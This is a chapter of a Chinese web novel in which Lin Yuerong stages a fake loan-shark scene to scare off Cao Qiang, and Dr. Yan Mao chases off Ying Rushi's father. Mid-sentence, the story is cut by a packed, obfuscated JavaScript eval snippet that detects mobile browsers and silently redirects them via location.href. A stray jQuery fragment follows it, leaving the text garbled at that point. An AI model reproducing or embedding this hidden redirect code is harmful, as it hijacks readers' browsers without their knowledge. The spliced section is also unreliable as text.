70. 小苦瓜
作品:《穿回年代文大佬的短命妻》 曹强激动到声音都在抖,“你借这么多钱做什么?”
这么多钱,要是到他手里……
周围的邻居打量着面前不起眼的小店,又打量着穿着老旧的曹不一。
是呀!这孩子不显山不露水,借了这么多钱都花哪了?怎么敢借这么多钱的?
“借钱做什么我们放高利贷的可不管,我们只管利滚利。说吧,今儿有多少钱还?按照之前说的,还不上……”
林月溶打量着曹强。
“你是他亲叔叔对吧?既然是亲的,先帮他还点儿?”
“我可没钱!”
曹强像是一只被踩了尾巴的老鼠,吱哇乱叫。
“不可能!让我还钱我没有!我都还指望他给我养老呢,我怎么帮他还?”
“简单。”林月溶上前一步,压低了声音,“按照道儿上的规矩来。曹不一毕竟是年轻壮劳力,留着他的手脚还能赚钱还债。既然你这个亲叔叔只能靠他养老,想必也没什么赚钱的能力。你是要替他卸一条胳膊,还是卸一条腿?”
“卸……卸卸……”
“不用谢!我这么替你们着想,不过也是为了能拿回自己的钱。来!”
林月溶没回头,朝身后的徐开霁勾了勾手指。
“就先卸一条胳膊吧!”
曹强踉跄着后退了几步,“欠……欠债还钱,天经地义。谁欠钱你们找谁,怎么能随便卸人胳膊呢……”
林月溶问:“你不是他亲叔叔吗?他借钱也是为了给你养老。卸你的胳膊,很合理啊!”
“有他这么给亲叔叔养老的吗?”
曹强说完,转身就跑了。
当年,他可是没少落在那帮放高利贷的人的手上,对他们的手段清清楚楚。
周围的邻居见曹强跑了,徐开霁又一副不好惹的样子,很快三三两两,交头接耳地就散了。
曹不一挺直的脊背这才塌下来,低声说了一句,“谢谢!”
这么一闹,曹强短时间应该不会来了。
“他站在你店门口胡说八道,你怎么不还口呢?”
“没必要……”
当年,赌场的人追到家里要债,是那些邻居你一句我一句,逼着他爸妈救曹强。后来曹强越陷越深,曹家的窑口和祖宅都没了,这些邻居又说,是爸妈耳根子太软,心太软,自作自受。
所以,真的没必要跟旁人解释。
“进来吧!”
曹不一转身把店门推开,往旁边让了一步。
“今天早晨出了几套新的画片。”
林月溶见他这么快就调整了自己的状态,朝他竖起了一个大拇指。
曹不一努力扯出了一个笑容。
“徐开霁,我跟你讲,曹不一这店可有意思了。”林月溶看着有些局促的曹不一,摆了摆手,“曹不一,你去画画吧!我带他看就行。”
“哦!好。”曹不一说完鞠了一躬,“今天,谢谢你了。”
“不用谢我!我这治标不治本,他以后再来,也只能靠你自己了。这种人……”林月溶叹了一口气,“应如是说得没错,你就是心太软,耳根子也软。以后,多为自己想想。”
“应如是……”
曹不一的声音有些恍惚,这个名字对他来说太久远了。
“对,应如是,你小时候的小伙伴。她昨天跟我提过你家的那些事,要不然我也不会莫名其妙帮你演这一出。但你放心,她跟我说这些没有别的意思。”
“我知道。应窑主是个……”曹不一憋了半天,“是个好人。”
“……”
“她身体不太好,家里人也不太好。你有空的时候,可以多去看看她。”
自己很快就会离开浮梁,应如是有个能说话的好小伙伴,应该会开心很多。
曹不一点了点头,“我,记下了。”
他犹豫了一会儿,还是开了口,“你能跟我讲讲她……为什么身体不太好?什么是,家里人也不太好?”
“怎么说呢?你们两个,是两颗相似的小苦瓜。”
“……”
林月溶三两句把应如是的情况讲了讲。
“总之,昨天我把应同给骂跑了,如如那个身体……”林月溶咬了咬牙,“应同还是顾及着她的身体,短时间应该不会再找她麻烦了。”
但林月溶猜错了。
应同一大早就闯进了见青山叫骂。
他算了算,昨天自己跟应如是吵吵得太轻了,今天还能再吵几句。
严茂前半夜睡得硬板床,后半夜缩在躺椅上,又被一阵中气十足的公鸭嗓吵醒,眉头一皱,心头的戾气“噌”的就蹿了上来。
应如是察觉,“吵醒你了?”
应如是的声音瞬间堵住了严茂要骂出的脏话,这些脏话在他嗓子里滚了一圈又咽回了肚子。
他睁开眼睛,看着靠在床头捧着书的应如是,口是心非道:“我没事,倒是你,是不是吵醒你了。”
应如是将书放在一边,“我习惯了。”
习惯了?
外面的叫骂声还在持续,严茂这才听清,这公鸭嗓骂的不是别人,骂的是他的仙女。
严茂攥了攥拳头,慢慢起身,把身上盖着的被子叠好放在一边,又把书塞到了应如是的手里。
“如如,你坐着看书……”
话还没说完,严茂就收了声。
不行!他这样从应如是的房间出去,外面那个公鸭嗓指不定会怎么编排如如。
看着严茂面色变换不定,应如是问:“怎么了?”
“如如,我虽然现在很想出去揍人,但是我这样出去……总归是对你不太好。”严茂有些懊恼地拍了拍脑袋,“早知道我昨天下午应该先去买衣服的,至少穿得人模人样的……”
应如是心下微暖。
严茂照顾了自己大半个晚上,还能想到这些她自己都没有想到的细节。
“我去处理就好,没事的。”
“真没事吗?”
“没事……外面那个,是我父亲。他就是为了窑口的控制权,我能应付。”
“……”
“你先出去,把他引开,只要不让他看见我从你房间里出来就行。”
“得麻烦你去外间等等,我……我得换衣服。”
“换!”严茂的脸红了红,“我这就出去。你怕冷,穿厚些。”
应同在外面骂到嗓子干痒,应如是还没有要出来的意思。
“陆俊,给我泡杯茶。”
陆俊像是看傻子一样看了他一眼。
“哎?你这是什么眼神儿?”
放平时,陆俊撑死是不搭理他,都不敢这么看他的。
陆俊往常不跟他一般见识,是自家窑主不想跟他撕破脸。
如今,窑主有了林总这个好朋友,严医生还能把窑主的病治好,肯定就不稀罕这么个闹心的爹了。
吱呀——
应如是的房门终于开了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911949|185204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
应同咽了一口唾沫,高声道:“你这么个不孝女,你让我等了多久。你看看现在几点了,你店门都不开。你要是没有心思管,你交给我!我来管!你就好好养着你的身体就行。”
应如是没应声,只当没看见他。
“陆俊,跟我到仓库盘点一下。”
“哎哎哎?应如是,你是聋还是瞎,你听不见就算了,你还看不见我是不是?”
应同小跑着跟了上去。
严茂返回自己的房间裹上大衣再出来,刚好赶上应如是返回来,跟在后面的应同还在掐着公鸭嗓喋喋不休。
“大清早,在这见青山吵吵什么呢?”
严茂毕竟是野战部队出身,看着就一副不好惹的样子。应同愣了一会儿,才反驳他,“你谁呀?你大清早,穿成这个样子在见青山指手画脚做什么呢?”
陆俊出声:“这是我们窑主的父亲应同。”
他又看向严茂,“这是林总从燕京给窑主请回来的医生。”
林总?
林总从燕京给这丫头片子请回来的医生?
“你……您……”应同上上下下打量着严茂,“您直接住这儿了?”
严茂点了点头,“还要住很长时间,过年也在这见青山过。”
应同哑了。
严茂双手抱臂,欺身向前,低头看向应同,“心病还需心药医,我总算知道应如是的病为什么好不了了。”
应同后退一步,“就是……我家闺女身体不好,林总有心了,有心了。您也有心了。”
“知道你家闺女身体不好,就不要再来打扰了。”
“……”
“用我请你出去吗?”
“不劳烦不劳烦!”
应同脚底抹油,直接溜了。
陆俊连忙上前一步,紧张地打量着应如是的面色,“窑主,您没事吧?”
“今天没事。”
陆俊长出了一口气,看来这严医生还挺有用的。
再说曹强,他脚底抹油,从善哉行的那条小巷子跑出了好远,但他越跑越觉得不大对,扶着墙慢慢停下了。
放高利贷的他见过,收债的他见的更多。刚才那一对男女……
曹强急得一跺脚,这是演戏给他看呢!
曹不一这店离他之前生活过的地方很远,邻居们也都是生面孔,不知道当年曹家都发生了什么。
曹强这段时间隔三差五来闹,指责曹不一不孝,指责他不给自己养老。曹不一是个锯嘴葫芦,这些邻居肯定已经听信了他的话,就快要开始帮他戳曹不一的脊梁骨了。他觉得自己只要再努力努力,就能住进曹不一现在的家了。
没想到,半路杀出个程咬金。
但那一对男女到底是干嘛的?反正肯定不缺钱,是来找曹不一买瓷器的?他最近可是打听得很清楚,曹不一店里的瓷器卖得可贵了。
曹强眼珠子一转。
曹不一就跟他那死了的大哥大嫂一样,对曹家窑口在意得很。这一对男女看起来就不差钱,万一真的借给了他三千块钱,就算不是借,是买东西买了三千块钱……那这三千块钱曹不一一定先用来重开曹家窑口。
等这窑口重开,他岂不是又能当曹家那个衣来伸手饭来张口的二少爷了?
不,现在应该叫二老爷了。
曹强顾不得腰酸腿疼,卯足了劲儿又往回跑去。
腿倒腾慢点儿,他这二老爷的地位怕是要不保。

